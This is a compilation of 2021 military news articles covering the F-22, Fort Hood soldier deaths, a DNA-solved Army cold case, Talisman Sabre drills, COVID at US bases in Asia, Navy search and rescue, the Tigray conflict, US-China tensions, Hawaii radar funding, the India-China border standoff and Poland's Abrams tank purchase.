He said the Air Force has been "expanding the envelope on ACE in about the last five or six years," and "as you pay attention to our operations throughout the Pacific, you're going to see this."

He added that "we've pretty much looked at every piece of concrete in the region, and we've analyzed it and assessed it for possible use as places to operate to and operate from."

The F-22 Raptor is an aircraft that China pays close attention to, meanwhile.

"The F-22 is a fundamentally unique airplane due to the unparalleled integration of stealth, sensor technology, processing power and unrivaled flight performance," retired Air Force Lt. Gen. David Deptula and Douglas Birkey, executive director of the Mitchell Institute, said in a 2020 opinion piece in defensenews.com.

"Adversaries respect the aircraft and that is precisely why they are regularly deployed as a signal of resolve," the pair wrote. "If conflict erupts, F-22s will be at the forefront of operations."

The Air Force is looking at replacing the F-22 in the 2030s with the Next Generation Air Dominance fighter  a demonstrator of which already has flown.

Leaf, a former combat pilot with more than 3,600 flying hours, said if there was a great power conflict "and I was, through some stretch of the imagination, told I was going to participate in it as a fighter pilot, and I had any platform in the world to pick to employ  it would be the F-22."

That would be his pick as of today, he noted.

"In 2030, it might still be the F-22, but it might not be as dominant as this key enabling capability needs to be. Doesn't mean it's still not extraordinarily capable."

(c)2021 The Honolulu Star-Advertiser

Visit The Honolulu Star-Advertiser at www.staradvertiser.com

Distributed by Tribune Content Agency, LLC.
Pvt. Mejhor Morta, 26, joined the Army in September as a Bradley Fighting Vehicle mechanic. His body was found last week at a lake near Fort Hood, Texas, where he was stationed since May. (Fort Hood Public Affairs Office)

AUSTIN, Texas  The family of Army Pvt. Mejhor Morta said they are experiencing more than grief and hope an investigation will explain what happened to the soldier, whose body was discovered last week drowned in a lake miles from Fort Hood, Texas.

We still dont know what really happened, said Hazel Morta, the soldiers older sister. We hope and pray that only the truth will come out and we can have answers after a thorough investigation as this is what our brother truly deserves.

The body of the 26-year-old soldier from Pensacola, Fla., was discovered just after midnight July 17 near the base of Stillhouse Hollow Lake Dam in Bell County by a group of fishermen, according to the Bell County Sheriffs Department. Preliminary results of the autopsy show the cause of death to be consistent with drowning, but law enforcement officials are waiting for the final report to release any other information and continue to investigate.

The dam is located about 20 miles away from Fort Hood in an area with several public parks that offer waterfront access and hiking trails. Hazel Morta said shes not aware whether her brother ever visited the area, but she does not believe he would go hiking or swimming in the middle of the night alone.

The family of Pvt. Mejhor Morta, a Fort Hood soldier who is believed to have died from drowning last week, said they hope the investigation will provide them some answers about what happened. (Hazel Morta) As the only brother among four sisters, Hazel Morta said Pvt. Mejhor Morta was their mothers favorite. The girls werent jealous, she said, because he was their favorite, too. (Hazel Morta) Pvt. Mejhor Morta, 26, who died last week while serving at Fort Hood, Texas, had four sisters. While his death remains under investigation by the Bell County Sheriffs Department, Morta is believed to have drowned. (Hazel Morta)

While investigators have not said whether they believe foul play could be involved in Mortas death, the incident follows the discovery of the remains of two other Fort Hood soldiers in the last month.

On June 30, the remains of Spc. Vanessa Guillen were found buried near the Leon River in Bell County after a more than two-month search for the missing soldier. She was killed in April by a fellow soldier, who then killed himself, according to court documents.

During the search for Guillen, a tip led investigators to another location in Killeen, the town outside Fort Hood, where the remains of Pvt. Gregory Wedel-Morales were uncovered June 19. He had been listed as a deserter after disappearing in August. The citys police department is investigating his death as a homicide.

At least 12 soldiers assigned to Fort Hood have died while home at the base this year and two have died on deployment to Iraq, according to information from the Fort Hood Public Affairs Office. Nearly 37,000 service members are assigned to the sprawling base that covers more than 218,000 acres in the central region of Texas.

Joining the Army was a dream come true for Mejhor Morta, his sister said. He was the only son among four sisters and his name originated from the word major, because it was their father's dream for him was to be a soldier, Hazel Morta said.

My brother was always a very determined man. He had his goals lined up and strived to reach them. He actually posted his dream house and car on his bedroom wall to motivate himself every day, she said.

Even with his own goals to save and start his own business by age 30, Mejhor always extended financial help to his grandparents.

He was such a very kind and genuine person, Hazel said. That is why we are beyond devastated.

The soldier died two months shy of the one-year anniversary of his Army enlistment. A mechanic for Bradley Fighting Vehicles, Morta had been assigned to Fort Hoods 1st Cavalry Division since May.

Migrated
Spc. Francisco Gilberto Hernandez-Vargas (Fort Hood Public Affairs Office)

AUSTIN, Texas  The body of a 24-year-old Fort Hood soldier was recovered Sunday after a boating accident that led to his drowning in a lake near the Army base, officials said Tuesday.

Spc. Francisco Gilberto Hernandez-Vargas of Woodside, N.Y., was found dead in the water at Stillhouse Hollow Lake at about 1:19 p.m. Sunday in the same area where witnesses had reported last seeing him Saturday afternoon, according to the Bell County Sheriffs Department, which is investigating the soldiers death.

The soldier was riding on an inflatable tube being pulled by a boat when he fell off and disappeared from view, said Maj. T.J. Cruz, a spokesman for the sheriffs department.

Police said the soldier drowned and they will investigate the events that led to his death. An autopsy has been requested. Texas Parks and Wildlife personnel led the search efforts to find Hernandez-Vargas.

Hernandez-Vargas entered the Army in May 2017 as an automatic rifleman and he was assigned to 1st Black Knight Battalion, 5th Cavalry Regiment, 2nd Armored Brigade Combat Team, 1st Cavalry Division since December 2017.

The soldiers awards and decorations include the National Defense Service Medal, Korean Defense Service Medal, Army Good Conduct Medal, Overseas Service Ribbon and the Army Service Ribbon.

The Black Knight family is heartbroken by the loss of Spc. Francisco Hernandez-Vargas. Our hearts go out to his family and friends during this difficult time, said Lt. Col. Neil Armstrong, the battalion commander. Spc. Hernandez-Vargas served his country honorably both stateside while at Fort Hood and abroad in Korea and Romania and this tragic loss is felt by every member within our formation.

Hernandez-Vargas is the second solider to be found dead in Stillhouse Hollow Lake in less than three weeks.

The body of Pvt. Mejhor Morta, 26, was discovered July 17 near the base of the lakes dam. The Bell County Sheriffs Department is also investigating Mortas death, though a preliminary autopsy report stated he drowned. The soldiers were in the same battalion.

Stillhouse Hollow Lake is located about 20 miles from Fort Hood in an area with several public parks that offer waterfront access, boat ramps and hiking trails.

At least 13 soldiers have died this year while assigned to Fort Hood, which is home to nearly 37,000 service members, according to information from the base public affairs office. The base encompasses about 218,000 acres in central Texas.

Migrated
On June 25, 2021, a Colorado Springs jury sentenced Michael Whyte to life in prison without parole for the 1987 murder of 20-year-old Army Spc. Darlene Krashoc. The case was solved in 2019 after investigators from the U.S. Army Criminal Investigation Command connected Whyte to the murder with new DNA evidence-based techniques. (U.S. Army Criminal Investigation Command)

It took over three decades, but the killer of an Army specialist in Colorado has been brought to justice.

Michael Whyte was sentenced last month to life in prison for the murder of Spc. Darlene Krashoc in Colorado Springs, Colo., after Army cold case investigators used new DNA techniques to identify him as a suspect in the 1987 killing.

Whyte, a 19-year veteran of the Army who was stationed at Fort Carson at the time of the murder, reached the rank of sergeant first class before retiring in 1998.

DNA evidence collected at the scene and genealogical databases connected Whyte to the murder, Army Criminal Investigation Command, or CID, said in a statement Monday.

It feels satisfying to know that the hard work and collaboration among multiple agencies in the pursuit of justice finally led to a successful resolution, said CID Forensic Science Officer Jessica Veltri.

Veltris efforts revived the probe when she was assigned to it in 2014, while stationed at the 22nd Military Police Battalion at Joint Base Lewis-McChord, Wash., CID said. Shed recently graduated from George Washington Universitys forensic science program and was interested in cold cases.

Colorado Springs police had found Krashocs body early in the morning of March 17, 1987, in a parking lot behind the Korean Club Restaurant. It was about a mile north of where shed last been seen at a nightclub drinking and dancing with fellow soldiers after midnight.

She was five months shy of her 21st birthday and had been serving on active duty with the 73rd Maintenance Company, 43rd Support Group, based at Fort Carson. An autopsy determined she was strangled to death somewhere else before being moved to the parking lot, CID said.

But despite hundreds of interviews by police and Army investigators, and DNA samples pulled in 2003 and 2011, efforts to identify a suspect were stymied as leads went cold.

The murder was nearly 30 years old in 2016 when Veltri completed a review and submitted 27 pieces of evidence to the U.S. Army Criminal Investigation Laboratory in Forest Park, Ga., for DNA forensic testing not previously available.

That December, CID partnered with Parabon NanoLabs, a Reston, Va.-based company specializing in the relatively new technology of DNA phenotyping, a process that allowed them to develop composite snapshots" of what the killer might have looked like at age 20 to 25 and 30 years later.

It was the first time CID used the technique, and it released the composites along with an announcement of a $10,000 reward in 2017, hoping to identify a suspect. Then, in 2019, they got a lead from ancestry research databases.

California police had used similar genetic data collections a year earlier to identify a suspect linked to some 50 rapes and 12 murders in the late 1970s and early 1980s in the high-profile Golden State Killer case.

In Krashoc's case, the data led to distant relatives, then to a single name that was compared against military records to identify Whyte as a suspect, CID said.

I wasnt sure if we would ever get to this point, said Jennifer Coslin, a supervisory biologist at the Army lab who had worked on evidence in the case since 2005.

Veltri was both excited and in disbelief that they finally found him, Coslin recalled in an Army statement. We finally had a viable lead.

Police in Colorado then surveilled Whyte and collected a DNA sample from a fast food cup hed used and discarded. The samples matched, and he was arrested in June 2019 at his home near Denver.

Im so grateful they kept the DNA after all these years, Krashocs sister, Rhonda Lilly, told Army Times after the arrest. The Colorado Springs police and Army CID never forgot about her.

Veltris dedication helped bring some small amount of closure for the family, said David Zeliff, CIDs chief forensic science officer.

Justice
A Patriot missile is fired during an exercise on the Greek island of Crete, Nov. 23, 2020. (Vincent Wilson/U.S. Army)

A combined task force of 17,000 U.S., Australian, New Zealand, Japanese, South Korean and British troops kicked off the biennial Talisman Sabre drills Wednesday in Australia.

The participants include a U.S. expeditionary strike group from the USS America, the amphibious assault ship based at Sasebo Naval Base, Japan, along with 70 fixed-wing aircraft and 50 helicopters, task force commander Australian Army Maj. Gen. Jake Ellwood said in a telephone interview from Royal Australian Air Force Base Amberley in Brisbane.

Live-fire training is scheduled at Shoalwater Bay, Queensland, but participants will range as far afield as Darwin in the Northern Territory and Evans Head, New South Wales.

A Patriot missile defense system will fire from Shoalwater Bay at a pair of drone targets on Friday.

Buy Photo U.S. Marines are ferried ashore at Kings Beach near Bowen, Australia, during the Talisman Sabre exercise, July 22, 2019. (Seth Robson/Stars and Stripes)

This will be the first time a Patriot has fired from Australian shores, Ellwood aid.

The Patriot was brought south by troops from the 38th Air Defense Artillery Brigade out of Sagami General Depot, Japan, according to deputy exercise director U.S. Army Col. Jerry Hall.

The proposal to deploy the missile defense system to Australia was hatched in 2009, he said during the same interview from RAAF Amberley.

A key part of the exercise is getting U.S. and Australian forces to work together with the Patriot, Hall said. The U.S. Army coordinates its employment of the system closely with the Air Force to integrate air and missile defense.

Australian Sen. Jim Molan, a retired major general, wrote in The Australian newspaper May 3 that his country was more than likely to experience a missile attack in any conflict between the U.S. and China.

Many ordinary Australians, not just those who personally -experienced global conflict, are awakening to the sombre reality that war is not just possible in our region, but likely, he wrote.

Talisman Sabre will also involve space, cyber, land, air and sea operations, Ellwood said.

U.S., Australian, British and Japanese troops will operate together from Australias amphibious ship, the HMAS Canberra, he added.

Japanese forces Down Under include the newly formed Amphibious Rapid Deployment Brigade, a force modeled after the U.S. Marine Corps thats charged with defending outer islands. The unit sent troops to Talisman Sabre in 2019.

Australia has developed its amphibious forces in recent years, Ellwood said.

We are capable of significant amphibious operations, he said, noting the ability of the Canberra and Australias other amphibious ship, the HMAS Adelaide, to conduct simultaneous operations during the 2019 exercise.

About 5,000 members of the U.S. expeditionary strike group will not go ashore during the training but about 2,000 other U.S. troops have just emerged from two weeks in quarantine, Hall said.

Getting thousands of troops into Australia during the coronavirus pandemic has been an extra challenge, he said, comparing it to adding another warfighting domain.

Seth Robson
Vehicles line up to enter Camp Casey, South Korea, Feb. 26, 2020. (Amber Smith/U.S. Army)

CAMP HUMPHREYS, South Korea  Thirty-one U.S. service members from a single Army base in South Korea tested positive for the coronavirus last week as the country reached a new record for daily infections.

The 31 new patients, who tested positive between July 5 and 11, are from Camp Casey, a military outpost near the Demilitarized Zone on the border with North Korea.

They are among 58 people from U.S. Forces Korea who tested positive last week, marking the most infections reported by the command during the pandemic. The previous record from early this year was 42 cases recorded over a 12-day span.

Roughly 10,000 people, including retirees and South Korean employees, work at Camp Casey, over 90% of which have been vaccinated against the coronavirus, according to Denver Beaulieu-Hains, a spokeswoman for U.S. Army Garrison Yongsan-Casey.

In contrast, Camp Humphreys, which has over 32,000 people accessing the base daily, had one service member test positive last week. The base, 40 miles south of Seoul, the capital city, is the largest U.S. military installation overseas.

Camp Casey has not announced the vaccination statuses of those who recently tested positive.

Base leaders did not attribute the recent rise of service member cases to a singular incident, Beaulieu-Hains told Stars and Stripes on Wednesday.

We are taking an active approach to living our best lives, while we mitigate the spread of COVID, she said in a statement.

Our emphasis is to educate personnel that vaccination is only part of the solution, but discipline and social responsibility is key to our mitigation strategy, she added. The idea is to treat everyone as if they have COVID and to protect yourself, which in turn protects others.

South Koreas recent COVID-19 surge has continued to break records for more than a week. The Korea Disease Control and Prevention Agency reported 1,615 new patients Wednesday, the highest number of daily cases yet, bringing the nations total number of infections to 171,911.

Seoul, which recorded 638 new patients Wednesday, accounts for the majority of locally transmitted cases. The metropolitan area has imposed its highest level of social-distancing restrictions, clamping down on gatherings and tightening public transportation schedules.

South Korean health officials have also expressed concern over the virus highly transmissible delta variant, which accounted for 374 cases last week and surpassed the 162 cases of the alpha variant within the same period.

USFK has not publicly identified which variants its patients have become infected with.

Over 30% of South Koreas population has received the first dose of the vaccine and nearly 12% have been fully inoculated, according to KDCA data published Wednesday.

Since the uptick of cases on the peninsula, USFK has reimplemented its policy of limiting nonessential travel.

Service members are banned from visiting Areas I and II, which includes the greater Seoul area, unless they are on official business. Masks are also required indoors on military installations, regardless of whether a person is vaccinated.
WHIDBEY ISLAND, Wash. (Tribune News Service)  In recent days, helicopter crews from Naval Air Station Whidbey Island have responded to five emergency search and rescue missions throughout Western Washington, adding to the hundreds of missions completed over the years to save hundreds of civilian lives.

The search and rescue team has conducted 24 missions in 2021. Those missions include five medical evacuations, sixteen rescues and three searches  most for hikers and skiers in the state's mountains.

The five most recent missions, run between Friday and Monday, ranged from rescuing a 32-year old hiker with a broken leg on Sauk Mountain in Skagit County to rescuing a 44-year-old man injured in a fall in the Olympic Mountain wilderness.

Both were transported to area hospitals for treatment, along with hikers the NAS Whidbey team rescued from the North Cascades near Leavenworth over the four-day period.

The Navy conducts search and rescue and medical evacuation using three MH-60S helicopters stationed at NAS Whidbey Island because of their role in aiding EA-18G Growler jets.

Such use of military equipment is allowed under the National Search and Rescue Plan, and in the state under specific direction from the Air Force Rescue Coordination Center or Coast Guard, according to a news release.

In May, the NAS Whidbey Island team rescued hikers from the Olympic mountains and skiers from the Snoqualmie Pass area, according to news releases. The team responded to the crash of a small aircraft outside Vancouver, Wash., in March.

During the 10 years from 2010 to 2019, the team conducted 387 missions, according to NAS Whidbey Island records.

Those missions have included rescuing injured hikers and snowmobilers, and searching for missing hikers and drowning victims in Skagit County  and many others across the broader Mount Baker and North Cascades regions.

(c)2021 the Skagit Valley Herald (Mount Vernon, Wash.)

Visit the Skagit Valley Herald (Mount Vernon, Wash.) at www.goskagit.com

Distributed by Tribune Content Agency, LLC.

A UH-60 helicopter assigned to Bravo Bigfoot Company, 2-158 Assault Helicopter Battalion, 16th Combat Aviation Brigade, conducts a reenlistment flight to Whidbey Island, Wash., on Jun. 17, 2021. (Kyle Abraham/U.S. Army)
The northern Ethiopia conflict may be headed for a dangerous turn after Prime Minister Abiy Ahmed's unilateral cease-fire failed and he backed calls to resist Tigray forces advancing to retake territory.

The Tigray People's Liberation Front, which federal troops had initially overrun after fighting that started in November, recaptured the state capital, Mekelle, and have taken back control of more towns, including Mai Tsebri, Alamata and Korem, according to TPLF spokesman Getachew Reda.

The cease-fire failed to bring peace, Abiy said in a statement on Wednesday.

"The government urges the people of Ethiopia to stand together," Abiy said, and continue supporting the defense forces "in every way possible and defend the country's sovereignty."

The prime minister's comments come days after his party was declared the winner of last month's election, and highlights the challenges he has to overcome to unite Africa's second-most populous nation. The Tigray conflict, which started eight months ago when Abiy ordered an incursion in retaliation for an attack on an army base, has led to thousands of deaths, and the United Nations has warned that more than 900,000 people are on the brink of famine.

Abiy echoed earlier statements from Amhara officials to resist their Tigrayan neighbors' return. Some of the towns the TPLF is targeting or has recaptured have been contested territory for decades. Amharans say they had rights to the lands until a TPLF-led uprising overthrew the Marxist regime in 1991 and reconfigured ownership.

Some Amharans moved into the region when federal forces drove out Tigray's leaders, and plan to stay.

"We have sent over two thousand militias to the front," Simenhe Ayalew, the administrator of Western Gojam Zone in Amhara, said on the regional state-controlled broadcaster on Tuesday. They plan to raise at least 204 million birr ($4.6 million) in cash and kind from communities to defend the territory, according to Simenhe.

In his statement, Abiy said the TPLF's actions are "irresponsible" and pose "a greater danger" to Ethiopia. "We will facilitate humanitarian works and defend the country," Abiy said. He, however, didn't say if he plans to redeploy federal forces to fight in Tigray.

Abiy also accused the Tigrayan army of recruiting children into its ranks and turning key humanitarian corridors into war zones. "The junta soon forgets the famine accusations (against the government) and intensified its military activities," he said.

Since coming to power in 2018 and unbanning opposition and rebel groups, Abiy has faced several security challenges besides the Tigray war. There have been violent protests in Oromia, inter-communal fighting in Western Benishangul-Gumuz and Amhara regions, as well as a series of high level assassinations.

"Operations are underway to capture the lowlands before Humera and the Wolkait highlands as well," TPLF's Getachew said via satellite phone.
China accused the U.S. of waging a "sinister" campaign to halt its rise, as the Biden administration moved to counter Beijing's growing global trade influence and domestic political crackdowns.

Chinese state media including the China Daily newspaper dismissed a possible U.S.-led digital trade agreement as a bid to defend American power in the Asia-Pacific region. Separately, the Chinese Foreign Ministry denounced a planned White House warning to American businesses in Hong Kong as an effort to mislead companies and malign the national security law that Beijing imposed on the Asian financial center last year.

"The U.S. confuses black and white and right and wrong, wantonly discredits the national security law and Hong Kong's business environment, and attempts to mislead American and international businesses in Hong Kong," the ministry's Hong Kong branch said Wednesday. "Its sinister intention of playing the 'Hong Kong card' to curb China's development is clear."

The responses illustrate Beijing's continued frustration with the U.S., as President Joe Biden implements a China strategy that extends and deepens his predecessor's confrontational approach. The two sides are still trading barbs over data, security and human rights, even as their senior officials carry out talks on issues such as trade, climate change and Iran's nuclear program.

U.S. Deputy Secretary of State Wendy Sherman is expected to visit China as part of a trip to the region next month, a person familiar with the matter said Tuesday. The South China Morning Post newspaper separately reported Wednesday that Sherman would meet with Vice Foreign Minister Xie Feng in Tianjin and discuss a possible meeting between Secretary of State Antony Blinken and Chinese Foreign Minister Wang Yi.

Still, China has continued to lash out at the U.S. in recent months, especially over what it views as foreign interference in its domestic affairs. The U.S. has led a loose coalition of mainly Western countries criticizing China's efforts to crack down on political minorities in the predominately Muslim region of Xinjiang and the former British colony of Hong Kong.

The White House is preparing to warn American companies this week of the increasing risks of operating in Hong Kong, three people familiar with the matter said Tuesday. Those risks include the Chinese government's ability to gain access to data that foreign companies store in Hong Kong, according to two of those people.

Beijing imposed the sweeping national security law -- which bars subversion, terrorism, secession and foreign collusion -- on Hong Kong last year following unprecedented and sometimes-violent democracy protests in the city. The law, which officials have used to jail democracy activists and much of the formal political opposition, has frayed ties between the finance hub and many western nations, including the U.S.

"Relevant laws in Hong Kong clearly protect the rights and interests of foreign investors," Chinese Foreign Ministry spokesman Zhao Lijian told a regular news briefing Wednesday in Beijing. "Since the implementation of the national security law, Hong Kong society has returned to normal and the 'Pearl of the Orient' has become even shinier. The so-called alert is typical political manipulation and double standards."

Meanwhile, the China Daily rejected a potential U.S. digital trade deal involving Pacific nations as "shackles restricting trade and their freedom of cooperation." The English-language newspaper said the world's two largest economies cannot decouple and it was "therefore absurd for it to try to force other countries to do that without finding them new sources of goods, services and capital to fill the vacuum caused by it forcing them to sever ties with China."
A Chinese United Nations peacekeeper looks on as Chinese Foreign Minister Wang Yi leaves after speaking at a symposium to mark the 50th anniversary of the People's Republic of China's entry into the U.N. at the Foreign Ministry in Beijing on Friday, June 25, 2021. (Ng Han Guan/AP)

BEIJING  China says the withdrawal of U.S. and NATO forces from Afghanistan offers the country a new chance to take its destiny into its own hands, while calling for the resurgent Taliban to cut all ties with terrorist groups.

Speaking Tuesday in Tajikistans capital Dushanbe, Foreign Minister Wang Yi said the U.S. should reflect on its role in Afghanistan after its 20-year military involvement failed to bring peace.

With the United States and NATO leaving Afghanistan, the Afghan people have a new opportunity to take the destiny of their country and their people into their own hands, Wang said in a news release posted on the ministrys website Wednesday.

In remarks directed at the Taliban, Wang said the deeply conservative group should resolutely draw a line with all terrorist forces, and return to the political mainstream of Afghanistan with a responsible attitude toward the country and people.

China shares a narrow border with Afghanistan and is concerned about Islamist extremism spilling over into its traditionally Muslim region of Xinjiang. As part of those prevention efforts, Beijing has been sharing up ties with its central Asian neighbors such as Tajikistan.
The Missile Defense Agency is seeking public feedback on potential locations in Hawaii for the Homeland Defense Radar, shown here in an artists conceptual rendering. (Missile Defense Agency)

(Tribune News Service)  The Homeland Defense Radar-Hawaii  which the Pentagon zeroed out two years in a row in its funding requests  is back with $75 million approved by the House Appropriations Committee today in the fiscal year 2022 defense funding bill.

U.S. Rep. Ed Case said the $706 billion total defense measure, passed in a 33-23 vote, advances a "strong national defense presence in Hawaii and the Indo-Pacific."

"I especially welcome the bill's support of my many requests to maintain and advance our defense efforts in Hawaii and throughout the Indo-Pacific in a time of such uncertainty in our part of the world, " the Hawaii Democrat said in a release. "These include in particular support for the Pearl Harbor Naval Shipyard and Intermediate Maintenance Facility, our largest industrial employer, and to continue the Homeland Defense Radar-Hawaii (HDR-H ), which is critical to ensuring Hawaii's own security."

Case said the bill includes $75 million to continue development of the radar that was estimated by the Missile Defense Agency to have a $1.9 billion total price tag.

The radar is a "critical" state-of-the-art system "designed to protect our country and state from ballistic missile threats from countries like North Korea and was strongly supported by our Indo-Pacific military leaders. This 'discriminating radar' will be capable of identifying and classifying specific missile threats and will address current and emerging threats," Case said in the release.

Case, a member of the Appropriations Committee, said he specifically sought restoration of funding for the Hawaii radar.

Other funding measures in the bill include:

 $5 million to continue improving the safety of the Red Hill Bulk Fuel Storage underground tanks. "This funding is being applied toward evaluating secondary containment, measuring and controlling corrosion, improving testing, inspection, repair and maintenance processes, and improving groundwater monitoring and modeling. This funding ensures the safety of our precious drinking water, while mitigating any risks at Red Hill, " Case said.

 Continued funding of over $2.2 billion for the Shipyard Infrastructure Optimization Plan (SIOP ) at Pearl Harbor Naval Shipyard. Case said he requested funds to ensure support for a 20-year, $21 billion effort by the Navy to improve its four public shipyards, including Pearl Harbor shipyard, Hawaii's largest industrial employer.

 Case said support is being provided "for various elements of the Pacific Deterrence Initiative (PDI ), which bolsters deterrence and maintains our competitive edge in the Indo-Pacific in recognition of threats posed by China and the need to preserve a free and open Indo-Pacific."

A key component of the initiative for fiscal 2022 is $62.4 million for the missile defense of Guam, which faces threats from ballistic, hypersonic and cruise missiles, Case said.

In a June 2 letter, U.S. Rep. Kai Kahele, also a Hawaii Democrat, joined a bipartisan group in calling on Congress to fully fund the $4.68 billion request made by Adm. Phil Davidson, the former head of U.S. Indo-Pacific Command, for the Pacific Deterrence Initiative in fiscal 2022.

Indo-Pacific Command "has an urgent requirement for a more lethal, hardened and dispersed American military posture in the Indo-Pacific region, " the letter states. "Resourcing this posture would reassure our allies and partners, while sending an unmistakable message to our adversaries in support of a free and open Indo-Pacific."

The letter writers said a total of $350 million was requested in fiscal 2022 for a Guam Defense System that provides 360-degree air and missile defense system and long-range strike capability.

The Homeland Defense Radar-Hawaii also is identified in Davidson's Pacific Deterrence Initiative request as a priority.

But both the Hawaii radar, which was to be used to better track North Korean intercontinental ballistic missile threats, and a separate Pacific radar, were shelved by the Defense Department as maneuvering hypersonic missiles necessitated a re-examination of ground-based radar needs and a focus on space-based sensors to help meet the emerging threats.

The Hawaii radar is not included in the Missile Defense Agency's long-range program planning.

Kahuku Training Area on Oahu and the Pacific Missile Range Facility on Kauai are the two locations that technically are still under consideration for the powerful radar, planned to have a single face up to 85 feet tall. Community opposition previously emerged on Oahu.

The Missile Defense Agency previously said it was using last year's $133 million congressional "plus up" for the Hawaii radar for production of "critical radar components" and studies "for the siting and development of the (radar)  should a deployment decision be made and is funded."

Case pointed to other funding measures in the appropriations bill, including :

 $292.5 million for environmental restoration at formerly used defense sites. "These funds will help accelerate efforts to remove unexploded ordnance and discarded military munitions in Hawaii and throughout the nation, " Case said.

 Case said the Appropriations Committee again blocked efforts to change the command and control structure of the U.S. Pacific Fleet at Pearl Harbor. "There have been efforts within the department to streamline control of forces under one command structure, which would limit the ability of Navy forces in Hawaii to respond quickly to changing threats in the Indo-Pacific region, " he said.

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NEW DELHI  The foreign ministers of India and China met in Tajikistan on Wednesday with New Delhi stressing that a military standoff along a mountainous border area was profoundly disturbing their ties, and warning that any unilateral change in the status quo by Beijing was unacceptable.

"Full restoration and maintenance of peace and tranquility in border areas is essential for the development of bilateral ties," Indian External Affairs Minister S. Jaishankar said in a tweet.

Jaishankar and Chinese Foreign Minister Wang Yi met on the sidelines of the Shanghai Cooperation Organization foreign ministers' meeting in Dushanbe, Tajikistan.

China's Foreign Ministry quoted Wang as saying the standoff benefited neither side and that China wanted to resolve the situation through dialogue.

"China-India relations are defined by not threatening each other and providing mutual development opportunities. The two countries are partners, not opponents and especially not enemies," Wang was quoted as telling Jaishankar in a statement posted on the ministry's website.

The standoff between India and China has continued for more than a year despite military talks involving local commanders and political meetings between foreign and defense ministers.

Jaishankar said the two sides agreed Wednesday to hold a meeting of senior military commanders.

Last year, 20 Indian troops died in a clash with Chinese soldiers involving clubs, stones and fists in a portion of the disputed border. China said it lost four soldiers.

Both sides have mobilized tens of thousands of soldiers, artillery and fighter aircraft along the fiercely contested border known as the Line of Actual Control that separates Chinese and Indian-held territories from Ladakh in the west to India's eastern state of Arunachal Pradesh, which China claims in its entirety.

Indian military officials say the Chinese army has stepped up deployment in the contested region, which has been met by a similar move by Indian troops.

Also Wednesday, the Indian army denied a media report that Indian and Chinese soldiers had recently clashed again in eastern Ladakh.

"Ever since the disengagement agreement in February this year, there has been no attempt by either side to occupy the areas from where the disengagement had been undertaken. There have been no clashes in Galwan or any other area, as reported in the article," the army said in a statement.

India and China fought a war in 1962.

Recalling their last meeting in Moscow in September last year, Jaishankar emphasized the need to follow through on an agreement reached then on disengagement along the Line of Actual Control in Eastern Ladakh.

He said a successful disengagement in the Pangong Lake area earlier this year had created conditions for resolving the remaining issues. "It was expected that the Chinese side would work with us towards this objective. The Indian External Affairs Minister noted however that the situation in the remaining areas is still unresolved," the Indian side said in a statement.
Buy Photo People check out Olympic Stadium from an observation deck in central Tokyo, Tuesday, July 13, 2021. (Akifumi Ishikawa/Stars and Stripes)

TOKYO  Japans capital city has announced its highest one-day count of new coronavirus cases since May, a troubling milepost as the nation prepares to host the Olympics in nine days.

The Tokyo Metropolitan Government reported another 1,149 new coronavirus cases Wednesday, according to public broadcaster NHK. Thats the highest daily figure since 1,121 on May 8, the peak of the previous wave of COVID-19 cases, according to metro data online.

Meanwhile, U.S. military bases in Japan reported seven new cases of COVID-19, the coronavirus respiratory disease, as of 6 p.m. Wednesday.

For the past 25 days, Tokyos daily case numbers have exceeded those from the previous week, NHK reported. The number of new patients Wednesday was 229 more than July 7.

The newly infected individuals bring the citys pandemic total to 184,119 coronavirus patients, according to metro data. The city also reported four deaths Wednesday for a total of 2,262.

Tokyo is under its fourth state of emergency in hopes of curtailing the latest viral surge. Bars and restaurants are expected to close early and refrain from selling alcohol. Residents are encouraged to avoid unnecessary travel. Mask wearing is nearly universal on city streets and public transportation.

Neighboring Chiba, Saitama and Kanagawa prefectures, all part of the greater metro area, have imposed similar measures.

The Olympics are expected to go on without spectators in the stands or with athletes not permitted much contact with people outside their respective bubbles. The traditional torch run has been trimmed to a series of semi-public events to avoid attracting large crowds to see the Olympic flame pass along Tokyo streets.

Among U.S. bases, Kadena Air Base on Okinawa added three more coronavirus patients to 22 already this month, according to a base Facebook post Tuesday evening. All three became ill with COVID-19 symptoms before testing positive, according to the air base.

U.S. Army Japan had one person test positive for the coronavirus in the past week, according to a news release from Army headquarters at Camp Zama, southeast of central Tokyo. The infected person had recently traveled outside Japan and was still under 14 days restricted movement.

Marine Corps Air Station Iwakuni, south of Hiroshima, reported two individuals had tested positive there, according to an air station news release Wednesday. Neither case is associated with the U.S. womens softball and fencing teams, which are at the air station while preparing for the Olympics.

Sasebo Naval Base, on the island of Kyushu, said one person had fallen ill with COVID-19 symptoms and tested positive on Monday, according to the base Facebook page. The naval base last reported one new patient on May 25.

U.S. case numbers have dropped significantly with the arrival in December of coronavirus vaccines for service members, their families and Defense Department civilian employees. Yokosuka Naval Base has no active cases, according to a statement from the base Tuesday.

The U.S. Navy in Japan, overrun a year ago by the coronavirus, now has only three active cases, Rear Adm. Brian Fort, the outgoing Naval Forces Japan commander, said Wednesday.
Buy Photo A U.S. Army M1A2 Abrams tank rumbles across Novo Selo Training Area, Bulgaria, in 2015. Poland announced July 14, 2021, that it will purchase 250 of the tanks from the U.S., at a cost of $6 billion. (Michael Abrams/Stars and Stripes)

STUTTGART, Germany  Poland announced Wednesday that it will purchase 250 U.S.-built Abrams tanks, adding significant firepower to a priority area for U.S. and NATO forces seeking to deter Russia.

The first deliveries of the Abrams M1A2 tanks, which will come at a cost of $6 billion, could arrive as early as 2022, Polish officials said during a news conference.

Of course, this is a response to the challenges we face in terms of international security, Defense Minister Mariusz Blaszczak told reporters, as quoted by Reuters. Our task is to deter a potential aggressor. We all know where that aggressor is.

The U.S. and allies in NATO have made reinforcing Poland and the nearby Baltic states a focal point since Russias 2014 military intervention in Ukraine. Since then, U.S. tanks from units rotating overseas have been a consistent presence in Poland.

NATO also has a U.S.-led multinational battlegroup in Polands northeast, roughly 50 miles from the Russian military exclave of Kaliningrad.

Polish leaders said the Abrams tanks will markedly upgrade their ground forces.

These are state-of-the-art tanks that are able to perform all sorts of maneuvers, conduct combat and fire with great precision and great efficiency, said Polish Deputy Prime Minister Jaroslaw Kaczynski, as quoted by Polish media. The acquisition will enable Polands army to create at least four tank battalions, he said.

Poland already has a tank force consisting of various models of the German Leopard 2, the domestically built PT-91 and the aging Soviet-era T-72, the latter of which will likely be replaced by the Abrams tanks. The M1A2 tanks are produced by U.S. contractor General Dynamics Land Systems.

